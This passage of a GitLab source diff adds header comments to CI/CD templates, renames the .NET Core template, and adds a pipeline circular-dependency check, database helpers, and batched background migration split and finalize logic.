+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Browser-Performance.latest.gitlab-ci.yml
+
# Read more about the feature here: https://docs.gitlab.com/ee/user/project/merge_requests/browser_performance_testing.html
stages:
diff --git a/lib/gitlab/ci/templates/Verify/FailFast.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/FailFast.gitlab-ci.yml
index 584e6966180..4d0f8c10a20 100644
--- a/lib/gitlab/ci/templates/Verify/FailFast.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/FailFast.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/FailFast.gitlab-ci.yml
+
rspec-rails-modified-path-specs:
image: ruby:2.6
stage: .pre
diff --git a/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml b/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml
index cd23af562e5..53fabcfc721 100644
--- a/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Verify/Load-Performance-Testing.gitlab-ci.yml
+
# Read more about the feature here: https://docs.gitlab.com/ee/user/project/merge_requests/load_performance_testing.html
stages:
diff --git a/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml b/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml
index 05635cf71be..26b2c8694cd 100644
--- a/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Workflows/Branch-Pipelines.gitlab-ci.yml
+
# Read more on when to use this template at
# https://docs.gitlab.com/ee/ci/yaml/#workflowrules
diff --git a/lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml b/lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml
index 50ff4c1f60b..28c25f48972 100644
--- a/lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Workflows/MergeRequest-Pipelines.gitlab-ci.yml
+
# Read more on when to use this template at
# https://docs.gitlab.com/ee/ci/yaml/#workflowrules
diff --git a/lib/gitlab/ci/templates/dotNET-Core.gitlab-ci.yml b/lib/gitlab/ci/templates/dotNET-Core.gitlab-ci.yml
new file mode 100644
index 00000000000..edd0fb0ba07
--- /dev/null
+++ b/lib/gitlab/ci/templates/dotNET-Core.gitlab-ci.yml
@@ -0,0 +1,113 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET-Core.yml
+
+# This is a simple example illustrating how to build and test .NET Core project
+# with GitLab Continuous Integration / Continuous Delivery.
+#
+# ### Specify the Docker image
+#
+# Instead of installing .NET Core SDK manually, a docker image is used
+# with already pre-installed .NET Core SDK.
+#
+# The 'latest' tag targets the latest available version of .NET Core SDK image.
+# If preferred, you can explicitly specify version of .NET Core (e.g. using '2.2-sdk' tag).
+#
+# See other available tags for .NET Core: https://hub.docker.com/r/microsoft/dotnet
+# Learn more about Docker tags: https://docs.docker.com/glossary/?term=tag
+# and the Docker itself: https://opensource.com/resources/what-docker
+image: microsoft/dotnet:latest
+
+# ### Define variables
+#
+variables:
+ # 1) Name of directory where restore and build objects are stored.
+ OBJECTS_DIRECTORY: 'obj'
+ # 2) Name of directory used for keeping restored dependencies.
+ NUGET_PACKAGES_DIRECTORY: '.nuget'
+ # 3) A relative path to the source code from project repository root.
+ # NOTE: Please edit this path so it matches the structure of your project!
+ SOURCE_CODE_PATH: '*/*/'
+
+# ### Define global cache rule
+#
+# Before building the project, all dependencies (e.g. third-party NuGet packages)
+# must be restored. Jobs on GitLab.com's Shared Runners are executed on autoscaled machines.
+#
+# Each machine is used only once (for security reasons) and after that is removed.
+# This means that, before every job, a dependency restore must be performed
+# because restored dependencies are removed along with machines. Fortunately,
+# GitLab provides cache mechanism with the aim of keeping restored dependencies
+# for other jobs.
+#
+# This example shows how to configure cache to pass over restored
+# dependencies for re-use.
+#
+# With global cache rule, cached dependencies will be downloaded before every job
+# and then unpacked to the paths as specified below.
+cache:
+ # Per-stage and per-branch caching.
+ key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG"
+ paths:
+ # Specify three paths that should be cached:
+ #
+ # 1) Main JSON file holding information about package dependency tree, packages versions,
+ # frameworks etc. It also holds information where to the dependencies were restored.
+ - '$SOURCE_CODE_PATH$OBJECTS_DIRECTORY/project.assets.json'
+ # 2) Other NuGet and MSBuild related files. Also needed.
+ - '$SOURCE_CODE_PATH$OBJECTS_DIRECTORY/*.csproj.nuget.*'
+ # 3) Path to the directory where restored dependencies are kept.
+ - '$NUGET_PACKAGES_DIRECTORY'
+ #
+ # 'pull-push' policy means that latest cache will be downloaded (if it exists)
+ # before executing the job, and a newer version will be uploaded afterwards.
+ # Such a setting saves time when there are no changes in referenced third-party
+ # packages.
+ #
+ # For example, if you run a pipeline with changes in your code,
+ # but with no changes within third-party packages which your project is using,
+ # then project restore will happen quickly as all required dependencies
+ # will already be there — unzipped from cache.
+
+ # 'pull-push' policy is the default cache policy, you do not have to specify it explicitly.
+ policy: pull-push
+
+# ### Restore project dependencies
+#
+# NuGet packages by default are restored to '.nuget/packages' directory
+# in the user's home directory. That directory is out of scope of GitLab caching.
+#
+# To get around this, a custom path can be specified using the '--packages <PATH>' option
+# for 'dotnet restore' command. In this example, a temporary directory is created
+# in the root of project repository, so its content can be cached.
+#
+# Learn more about GitLab cache: https://docs.gitlab.com/ee/ci/caching/index.html
+before_script:
+ - 'dotnet restore --packages $NUGET_PACKAGES_DIRECTORY'
+
+build:
+ stage: build
+ # ### Build all projects discovered from solution file.
+ #
+ # Note: this will fail if you have any projects in your solution that are not
+ # .NET Core-based projects (e.g. WCF service), which is based on .NET Framework,
+ # not .NET Core. In this scenario, you will need to build every .NET Core-based
+ # project by explicitly specifying a relative path to the directory
+ # where it is located (e.g. 'dotnet build ./src/ConsoleApp').
+ # Only one project path can be passed as a parameter to 'dotnet build' command.
+ script:
+ - 'dotnet build --no-restore'
+
+tests:
+ stage: test
+ # ### Run the tests
+ #
+ # You can either run tests for all test projects that are defined in your solution
+ # with 'dotnet test' or run tests only for specific project by specifying
+ # a relative path to the directory where it is located (e.g. 'dotnet test ./test/UnitTests').
+ #
+ # You may want to define separate testing jobs for different types of testing
+ # (e.g. integration tests, unit tests etc).
+ script:
+ - 'dotnet test --no-restore'
diff --git a/lib/gitlab/ci/templates/dotNET-Core.yml b/lib/gitlab/ci/templates/dotNET-Core.yml
deleted file mode 100644
index 40ca296d7bd..00000000000
--- a/lib/gitlab/ci/templates/dotNET-Core.yml
+++ /dev/null
@@ -1,117 +0,0 @@
----
-# This is a simple example illustrating how to build and test .NET Core project
-# with GitLab Continuous Integration / Continuous Delivery.
-
-# ### Specify the Docker image
-#
-# Instead of installing .NET Core SDK manually, a docker image is used
-# with already pre-installed .NET Core SDK.
-#
-# The 'latest' tag targets the latest available version of .NET Core SDK image.
-# If preferred, you can explicitly specify version of .NET Core (e.g. using '2.2-sdk' tag).
-#
-# See other available tags for .NET Core: https://hub.docker.com/r/microsoft/dotnet
-# Learn more about Docker tags: https://docs.docker.com/glossary/?term=tag
-# and the Docker itself: https://opensource.com/resources/what-docker
-image: microsoft/dotnet:latest
-
-# ### Define variables
-#
-variables:
- # 1) Name of directory where restore and build objects are stored.
- OBJECTS_DIRECTORY: 'obj'
- # 2) Name of directory used for keeping restored dependencies.
- NUGET_PACKAGES_DIRECTORY: '.nuget'
- # 3) A relative path to the source code from project repository root.
- # NOTE: Please edit this path so it matches the structure of your project!
- SOURCE_CODE_PATH: '*/*/'
-
-# ### Define stage list
-#
-# In this example there are only two stages.
-# Initially, the project will be built and then tested.
-stages:
- - build
- - test
-
-# ### Define global cache rule
-#
-# Before building the project, all dependencies (e.g. third-party NuGet packages)
-# must be restored. Jobs on GitLab.com's Shared Runners are executed on autoscaled machines.
-#
-# Each machine is used only once (for security reasons) and after that is removed.
-# This means that, before every job, a dependency restore must be performed
-# because restored dependencies are removed along with machines. Fortunately,
-# GitLab provides cache mechanism with the aim of keeping restored dependencies
-# for other jobs.
-#
-# This example shows how to configure cache to pass over restored
-# dependencies for re-use.
-#
-# With global cache rule, cached dependencies will be downloaded before every job
-# and then unpacked to the paths as specified below.
-cache:
- # Per-stage and per-branch caching.
- key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG"
- paths:
- # Specify three paths that should be cached:
- #
- # 1) Main JSON file holding information about package dependency tree, packages versions,
- # frameworks etc. It also holds information where to the dependencies were restored.
- - '$SOURCE_CODE_PATH$OBJECTS_DIRECTORY/project.assets.json'
- # 2) Other NuGet and MSBuild related files. Also needed.
- - '$SOURCE_CODE_PATH$OBJECTS_DIRECTORY/*.csproj.nuget.*'
- # 3) Path to the directory where restored dependencies are kept.
- - '$NUGET_PACKAGES_DIRECTORY'
- #
- # 'pull-push' policy means that latest cache will be downloaded (if it exists)
- # before executing the job, and a newer version will be uploaded afterwards.
- # Such a setting saves time when there are no changes in referenced third-party
- # packages.
- #
- # For example, if you run a pipeline with changes in your code,
- # but with no changes within third-party packages which your project is using,
- # then project restore will happen quickly as all required dependencies
- # will already be there — unzipped from cache.
-
- # 'pull-push' policy is the default cache policy, you do not have to specify it explicitly.
- policy: pull-push
-
-# ### Restore project dependencies
-#
-# NuGet packages by default are restored to '.nuget/packages' directory
-# in the user's home directory. That directory is out of scope of GitLab caching.
-#
-# To get around this, a custom path can be specified using the '--packages <PATH>' option
-# for 'dotnet restore' command. In this example, a temporary directory is created
-# in the root of project repository, so its content can be cached.
-#
-# Learn more about GitLab cache: https://docs.gitlab.com/ee/ci/caching/index.html
-before_script:
- - 'dotnet restore --packages $NUGET_PACKAGES_DIRECTORY'
-
-build:
- stage: build
- # ### Build all projects discovered from solution file.
- #
- # Note: this will fail if you have any projects in your solution that are not
- # .NET Core-based projects (e.g. WCF service), which is based on .NET Framework,
- # not .NET Core. In this scenario, you will need to build every .NET Core-based
- # project by explicitly specifying a relative path to the directory
- # where it is located (e.g. 'dotnet build ./src/ConsoleApp').
- # Only one project path can be passed as a parameter to 'dotnet build' command.
- script:
- - 'dotnet build --no-restore'
-
-tests:
- stage: test
- # ### Run the tests
- #
- # You can either run tests for all test projects that are defined in your solution
- # with 'dotnet test' or run tests only for specific project by specifying
- # a relative path to the directory where it is located (e.g. 'dotnet test ./test/UnitTests').
- #
- # You may want to define separate testing jobs for different types of testing
- # (e.g. integration tests, unit tests etc).
- script:
- - 'dotnet test --no-restore'
diff --git a/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml b/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml
index b29f45323f5..dd88953b9a4 100644
--- a/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/dotNET.gitlab-ci.yml
+
# The following script will work for any project that can be built from command line by msbuild
# It uses powershell shell executor, so you need to add the following line to your config.toml file
# (located in gitlab-runner.exe directory):
@@ -19,7 +24,6 @@
# The best way to persist the mapping is via a scheduled task (see: https://stackoverflow.com/a/7867064/1288473),
# running the following batch command: net use P: \\x.x.x.x\Projects /u:your_user your_pass /persistent:yes
-
# place project specific paths in variables to make the rest of the script more generic
variables:
EXE_RELEASE_FOLDER: 'YourApp\bin\Release'
diff --git a/lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml b/lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml
index 87aea8527d1..0b75c298167 100644
--- a/lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/iOS-Fastlane.gitlab-ci.yml
+
# This is a very simple template that mainly relies on FastLane to build and distribute your app.
# Read more about how to use this template on the blog post https://about.gitlab.com/2019/03/06/ios-publishing-with-gitlab-and-fastlane/
# You will also need fastlane and signing configuration for this to work, along with a MacOS runner.
diff --git a/lib/gitlab/ci/templates/npm.gitlab-ci.yml b/lib/gitlab/ci/templates/npm.gitlab-ci.yml
index 536cf9bd8d8..bfea437b8f1 100644
--- a/lib/gitlab/ci/templates/npm.gitlab-ci.yml
+++ b/lib/gitlab/ci/templates/npm.gitlab-ci.yml
@@ -1,3 +1,8 @@
+# To contribute improvements to CI/CD templates, please follow the Development guide at:
+# https://docs.gitlab.com/ee/development/cicd/templates.html
+# This specific template is located at:
+# https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/npm.gitlab-ci.yml
+
publish:
image: node:latest
stage: deploy
diff --git a/lib/gitlab/ci/trace.rb b/lib/gitlab/ci/trace.rb
index 84eb860a168..f9798023838 100644
--- a/lib/gitlab/ci/trace.rb
+++ b/lib/gitlab/ci/trace.rb
@@ -189,7 +189,7 @@ module Gitlab
raise ArchiveError, 'Job is not finished yet' unless job.complete?
if trace_artifact
- unsafe_trace_cleanup! if Feature.enabled?(:erase_traces_from_already_archived_jobs_when_archiving_again, job.project, default_enabled: :yaml)
+ unsafe_trace_cleanup!
raise AlreadyArchivedError, 'Could not archive again'
end
diff --git a/lib/gitlab/ci/yaml_processor.rb b/lib/gitlab/ci/yaml_processor.rb
index a8c1002f2b9..c94fa84f608 100644
--- a/lib/gitlab/ci/yaml_processor.rb
+++ b/lib/gitlab/ci/yaml_processor.rb
@@ -46,6 +46,10 @@ module Gitlab
@jobs.each do |name, job|
validate_job!(name, job)
end
+
+ if ::Feature.enabled?(:ci_same_stage_job_needs, @opts[:project], default_enabled: :yaml)
+ YamlProcessor::Dag.check_circular_dependencies!(@jobs)
+ end
end
def validate_job!(name, job)
@@ -99,10 +103,16 @@ module Gitlab
job_stage_index = stage_index(name)
dependency_stage_index = stage_index(dependency)
- # A dependency might be defined later in the configuration
- # with a stage that does not exist
- unless dependency_stage_index.present? && dependency_stage_index < job_stage_index
- error!("#{name} job: #{dependency_type} #{dependency} is not defined in prior stages")
+ if ::Feature.enabled?(:ci_same_stage_job_needs, @opts[:project], default_enabled: :yaml)
+ unless dependency_stage_index.present? && dependency_stage_index <= job_stage_index
+ error!("#{name} job: #{dependency_type} #{dependency} is not defined in current or prior stages")
+ end
+ else
+ # A dependency might be defined later in the configuration
+ # with a stage that does not exist
+ unless dependency_stage_index.present? && dependency_stage_index < job_stage_index
+ error!("#{name} job: #{dependency_type} #{dependency} is not defined in prior stages")
+ end
end
end
diff --git a/lib/gitlab/ci/yaml_processor/dag.rb b/lib/gitlab/ci/yaml_processor/dag.rb
new file mode 100644
index 00000000000..0140218d9bc
--- /dev/null
+++ b/lib/gitlab/ci/yaml_processor/dag.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+# Represents Dag pipeline
+module Gitlab
+ module Ci
+ class YamlProcessor
+ class Dag
+ include TSort
+
+ MissingNodeError = Class.new(StandardError)
+
+ def initialize(nodes)
+ @nodes = nodes
+ end
+
+ def self.check_circular_dependencies!(jobs)
+ nodes = jobs.values.to_h do |job|
+ name = job[:name].to_s
+ needs = job.dig(:needs, :job).to_a
+
+ [name, needs.map { |need| need[:name].to_s }]
+ end
+
+ new(nodes).tsort
+ rescue TSort::Cyclic
+ raise ValidationError, 'The pipeline has circular dependencies.'
+ rescue MissingNodeError
+ end
+
+ def tsort_each_child(node, &block)
+ raise MissingNodeError, "node #{node} is missing" unless @nodes[node]
+
+ @nodes[node].each(&block)
+ end
+
+ def tsort_each_node(&block)
+ @nodes.each_key(&block)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/content_security_policy/config_loader.rb b/lib/gitlab/content_security_policy/config_loader.rb
index d7b31946ab0..842920ba02e 100644
--- a/lib/gitlab/content_security_policy/config_loader.rb
+++ b/lib/gitlab/content_security_policy/config_loader.rb
@@ -37,6 +37,7 @@ module Gitlab
allow_webpack_dev_server(settings_hash) if Rails.env.development?
allow_cdn(settings_hash) if ENV['GITLAB_CDN_HOST'].present?
+ allow_customersdot(settings_hash) if Rails.env.development? && ENV['CUSTOMER_PORTAL_URL'].present?
settings_hash
end
@@ -85,6 +86,12 @@ module Gitlab
def self.append_to_directive(settings_hash, directive, text)
settings_hash['directives'][directive] = "#{settings_hash['directives'][directive]} #{text}".strip
end
+
+ def self.allow_customersdot(settings_hash)
+ customersdot_host = ENV['CUSTOMER_PORTAL_URL']
+
+ append_to_directive(settings_hash, 'frame_src', customersdot_host)
+ end
end
end
end
diff --git a/lib/gitlab/database.rb b/lib/gitlab/database.rb
index aa419d75df2..a269b8d0366 100644
--- a/lib/gitlab/database.rb
+++ b/lib/gitlab/database.rb
@@ -2,15 +2,15 @@
module Gitlab
module Database
+ CI_DATABASE_NAME = 'ci'
+
# This constant is used when renaming tables concurrently.
# If you plan to rename a table using the `rename_table_safely` method, add your table here one milestone before the rename.
# Example:
# TABLES_TO_BE_RENAMED = {
# 'old_name' => 'new_name'
# }.freeze
- TABLES_TO_BE_RENAMED = {
- 'services' => 'integrations'
- }.freeze
+ TABLES_TO_BE_RENAMED = {}.freeze
# Minimum PostgreSQL version requirement per documentation:
# https://docs.gitlab.com/ee/install/requirements.html#postgresql-requirements
@@ -68,6 +68,25 @@ module Gitlab
end
end
+ def self.has_config?(database_name)
+ Gitlab::Application.config.database_configuration[Rails.env].include?(database_name.to_s)
+ end
+
+ def self.main_database?(name)
+ # The database is `main` if it is a first entry in `database.yml`
+ # Rails internally names them `primary` to avoid confusion
+ # with broad `primary` usage we use `main` instead
+ #
+ # TODO: The explicit `== 'main'` is needed in a transition period till
+ # the `database.yml` is not migrated into `main:` syntax
+ # https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65243
+ ActiveRecord::Base.configurations.primary?(name.to_s) || name.to_s == 'main'
+ end
+
+ def self.ci_database?(name)
+ name.to_s == CI_DATABASE_NAME
+ end
+
def self.username
config['username'] || ENV['USER']
end
@@ -333,6 +352,16 @@ module Gitlab
end
end
+ def self.dbname(ar_connection)
+ if ar_connection.respond_to?(:pool) &&
+ ar_connection.pool.respond_to?(:db_config) &&
+ ar_connection.pool.db_config.respond_to?(:database)
+ return ar_connection.pool.db_config.database
+ end
+
+ 'unknown'
+ end
+
# inside_transaction? will return true if the caller is running within a transaction. Handles special cases
# when running inside a test environment, where tests may be wrapped in transactions
def self.inside_transaction?
diff --git a/lib/gitlab/database/as_with_materialized.rb b/lib/gitlab/database/as_with_materialized.rb
index e7e3c1766a9..eda991efbd5 100644
--- a/lib/gitlab/database/as_with_materialized.rb
+++ b/lib/gitlab/database/as_with_materialized.rb
@@ -24,6 +24,8 @@ module Gitlab
end
# Note: to be deleted after the minimum PG version is set to 12.0
+ # Update the documentation together when deleting the method
+ # https://docs.gitlab.com/ee/development/merge_request_performance_guidelines.html#use-ctes-wisely
def self.materialized_if_supported
materialized_supported? ? 'MATERIALIZED' : ''
end
diff --git a/lib/gitlab/database/background_migration/batched_job.rb b/lib/gitlab/database/background_migration/batched_job.rb
index 9a1dc4ee17d..03bd02d7554 100644
--- a/lib/gitlab/database/background_migration/batched_job.rb
+++ b/lib/gitlab/database/background_migration/batched_job.rb
@@ -44,6 +44,51 @@ module Gitlab
# TODO: Switch to individual job interval (prereq: https://gitlab.com/gitlab-org/gitlab/-/issues/328801)
duration.to_f / batched_migration.interval
end
+
+ def split_and_retry!
+ with_lock do
+ raise 'Only failed jobs can be split' unless failed?
+
+ new_batch_size = batch_size / 2
+
+ raise 'Job cannot be split further' if new_batch_size < 1
+
+ batching_strategy = batched_migration.batch_class.new
+ next_batch_bounds = batching_strategy.next_batch(
+ batched_migration.table_name,
+ batched_migration.column_name,
+ batch_min_value: min_value,
+ batch_size: new_batch_size
+ )
+ midpoint = next_batch_bounds.last
+
+ # We don't want the midpoint to go over the existing max_value because
+ # those IDs would already be in the next batched migration job.
+ # This could happen when a lot of records in the current batch are deleted.
+ #
+ # In this case, we just lower the batch size so that future calls to this
+ # method could eventually split the job if it continues to fail.
+ if midpoint >= max_value
+ update!(batch_size: new_batch_size, attempts: 0)
+ else
+ old_max_value = max_value
+
+ update!(
+ batch_size: new_batch_size,
+ max_value: midpoint,
+ attempts: 0,
+ started_at: nil,
+ finished_at: nil,
+ metrics: {}
+ )
+
+ new_record = dup
+ new_record.min_value = midpoint.next
+ new_record.max_value = old_max_value
+ new_record.save!
+ end
+ end
+ end
end
end
end
diff --git a/lib/gitlab/database/background_migration/batched_migration.rb b/lib/gitlab/database/background_migration/batched_migration.rb
index 36e89023c86..9d66824da51 100644
--- a/lib/gitlab/database/background_migration/batched_migration.rb
+++ b/lib/gitlab/database/background_migration/batched_migration.rb
@@ -10,7 +10,7 @@ module Gitlab
self.table_name = :batched_background_migrations
has_many :batched_jobs, foreign_key: :batched_background_migration_id
- has_one :last_job, -> { order(id: :desc) },
+ has_one :last_job, -> { order(max_value: :desc) },
class_name: 'Gitlab::Database::BackgroundMigration::BatchedJob',
foreign_key: :batched_background_migration_id
@@ -29,11 +29,16 @@ module Gitlab
paused: 0,
active: 1,
finished: 3,
- failed: 4
+ failed: 4,
+ finalizing: 5
}
attribute :pause_ms, :integer, default: 100
+ def self.find_for_configuration(job_class_name, table_name, column_name, job_arguments)
+ for_configuration(job_class_name, table_name, column_name, job_arguments).first
+ end
+
def self.active_migration
active.queue_order.first
end
diff --git a/lib/gitlab/database/background_migration/batched_migration_runner.rb b/lib/gitlab/database/background_migration/batched_migration_runner.rb
index 67fe6c536e6..14e3919986e 100644
--- a/lib/gitlab/database/background_migration/batched_migration_runner.rb
+++ b/lib/gitlab/database/background_migration/batched_migration_runner.rb
@@ -4,6 +4,12 @@ module Gitlab
module Database
module BackgroundMigration
class BatchedMigrationRunner
+ FailedToFinalize = Class.new(RuntimeError)
+
+ def self.finalize(job_class_name, table_name, column_name, job_arguments)
+ new.finalize(job_class_name, table_name, column_name, job_arguments)
+ end
+
def initialize(migration_wrapper = BatchedMigrationWrapper.new)
@migration_wrapper = migration_wrapper
end
@@ -37,10 +43,35 @@ module Gitlab
raise 'this method is not intended for use in real environments'
end
- while migration.active?
- run_migration_job(migration)
+ run_migration_while(migration, :active)
+ end
- migration.reload_last_job
+ # Finalize migration for given configuration.
+ #
+ # If the migration is already finished, do nothing. Otherwise change its status to `finalizing`
+ # in order to prevent it being picked up by the background worker. Perform all pending jobs,
+ # then keep running until migration is finished.
+ def finalize(job_class_name, table_name, column_name, job_arguments)
+ migration = BatchedMigration.find_for_configuration(job_class_name, table_name, column_name, job_arguments)
+
+ configuration = {
+ job_class_name: job_class_name,
+ table_name: table_name,
+ column_name: column_name,
+ job_arguments: job_arguments
+ }
+
+ if migration.nil?
+ Gitlab::AppLogger.warn "Could not find batched background migration for the given configuration: #{configuration}"
+ elsif migration.finished?
+ Gitlab::AppLogger.warn "Batched background migration for the given configuration is already finished: #{configuration}"
+ else
+ migration.finalizing!
+ migration.batched_jobs.pending.each { |job| migration_wrapper.perform(job) }
+
+ run_migration_while(migration, :finalizing)
+
+ raise FailedToFinalize unless migration.finished?
end
end
@@ -90,6 +121,14 @@ module Gitlab
active_migration.finished!
end
end
+
+ def run_migration_while(migration, status)
+ while migration.status == status.to_s
+ run_migration_job(migration)
+
+ migration.reload_last_job
+ end
+ end
end
end
end
diff --git a/lib/gitlab/database/batch_count.rb b/lib/gitlab/database/batch_count.rb
index 9002d39e1ee..49f56b5be97 100644
--- a/lib/gitlab/database/batch_count.rb
+++ b/lib/gitlab/database/batch_count.rb
@@ -18,7 +18,7 @@
# batch_count(::Clusters::Cluster.aws_installed.enabled, :cluster_id)
# batch_count(Namespace.group(:type))
# batch_distinct_count(::Project, :creator_id)
-# batch_distinct_count(::Project.with_active_services.service_desk_enabled.where(time_period), start: ::User.minimum(:id), finish: ::User.maximum(:id))
+# batch_distinct_count(::Project.aimed_for_deletion.service_desk_enabled.where(time_period), start: ::User.minimum(:id), finish: ::User.maximum(:id))
# batch_distinct_count(Project.group(:visibility_level), :creator_id)
# batch_sum(User, :sign_in_count)
# batch_sum(Issue.group(:state_id), :weight))
@@ -41,159 +41,5 @@ module Gitlab
include BatchCount
end
end
-
- class BatchCounter
- FALLBACK = -1
- MIN_REQUIRED_BATCH_SIZE = 1_250
- DEFAULT_SUM_BATCH_SIZE = 1_000
- MAX_ALLOWED_LOOPS = 10_000
- SLEEP_TIME_IN_SECONDS = 0.01 # 10 msec sleep
- ALLOWED_MODES = [:itself, :distinct].freeze
- FALLBACK_FINISH = 0
- OFFSET_BY_ONE = 1
-
- # Each query should take < 500ms https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22705
- DEFAULT_DISTINCT_BATCH_SIZE = 10_000
- DEFAULT_BATCH_SIZE = 100_000
-
- def initialize(relation, column: nil, operation: :count, operation_args: nil)
- @relation = relation
- @column = column || relation.primary_key
- @operation = operation
- @operation_args = operation_args
- end
-
- def unwanted_configuration?(finish, batch_size, start)
- (@operation == :count && batch_size <= MIN_REQUIRED_BATCH_SIZE) ||
- (@operation == :sum && batch_size < DEFAULT_SUM_BATCH_SIZE) ||
- (finish - start) / batch_size >= MAX_ALLOWED_LOOPS ||
- start >= finish
- end
-
- def count(batch_size: nil, mode: :itself, start: nil, finish: nil)
- raise 'BatchCount can not be run inside a transaction' if ActiveRecord::Base.connection.transaction_open?
-
- check_mode!(mode)
-
- # non-distinct have better performance
- batch_size ||= batch_size_for_mode_and_operation(mode, @operation)
-
- start = actual_start(start)
- finish = actual_finish(finish)
-
- raise "Batch counting expects positive values only for #{@column}" if start < 0 || finish < 0
- return FALLBACK if unwanted_configuration?(finish, batch_size, start)
-
- results = nil
- batch_start = start
-
- while batch_start < finish
- begin
- batch_end = [batch_start + batch_size, finish].min
- batch_relation = build_relation_batch(batch_start, batch_end, mode)
-
- op_args = @operation_args
- if @operation == :count && @operation_args.blank? && use_loose_index_scan_for_distinct_values?(mode)
- op_args = [Gitlab::Database::LooseIndexScanDistinctCount::COLUMN_ALIAS]
- end
-
- results = merge_results(results, batch_relation.send(@operation, *op_args)) # rubocop:disable GitlabSecurity/PublicSend
- batch_start = batch_end
- rescue ActiveRecord::QueryCanceled => error
- # retry with a safe batch size & warmer cache
- if batch_size >= 2 * MIN_REQUIRED_BATCH_SIZE
- batch_size /= 2
- else
- log_canceled_batch_fetch(batch_start, mode, batch_relation.to_sql, error)
- return FALLBACK
- end
- rescue Gitlab::Database::LooseIndexScanDistinctCount::ColumnConfigurationError => error
- Gitlab::AppJsonLogger
- .error(
- event: 'batch_count',
- relation: @relation.table_name,
- operation: @operation,
- operation_args: @operation_args,
- mode: mode,
- message: "LooseIndexScanDistinctCount column error: #{error.message}"
- )
-
- return FALLBACK
- end
-
- sleep(SLEEP_TIME_IN_SECONDS)
- end
-
- results
- end
-
- def merge_results(results, object)
- return object unless results
-
- if object.is_a?(Hash)
- results.merge!(object) { |_, a, b| a + b }
- else
- results + object
- end
- end
-
- private
-
- def build_relation_batch(start, finish, mode)
- if use_loose_index_scan_for_distinct_values?(mode)
- Gitlab::Database::LooseIndexScanDistinctCount.new(@relation, @column).build_query(from: start, to: finish)
- else
- @relation.select(@column).public_send(mode).where(between_condition(start, finish)) # rubocop:disable GitlabSecurity/PublicSend
- end
- end
-
- def batch_size_for_mode_and_operation(mode, operation)
- return DEFAULT_SUM_BATCH_SIZE if operation == :sum
-
- mode == :distinct ? DEFAULT_DISTINCT_BATCH_SIZE : DEFAULT_BATCH_SIZE
- end
-
- def between_condition(start, finish)
- return @column.between(start...finish) if @column.is_a?(Arel::Attributes::Attribute)
-
- { @column => start...finish }
- end
-
- def actual_start(start)
- start || @relation.unscope(:group, :having).minimum(@column) || 0
- end
-
- def actual_finish(finish)
- (finish || @relation.unscope(:group, :having).maximum(@column) || FALLBACK_FINISH) + OFFSET_BY_ONE
- end
-
- def check_mode!(mode)
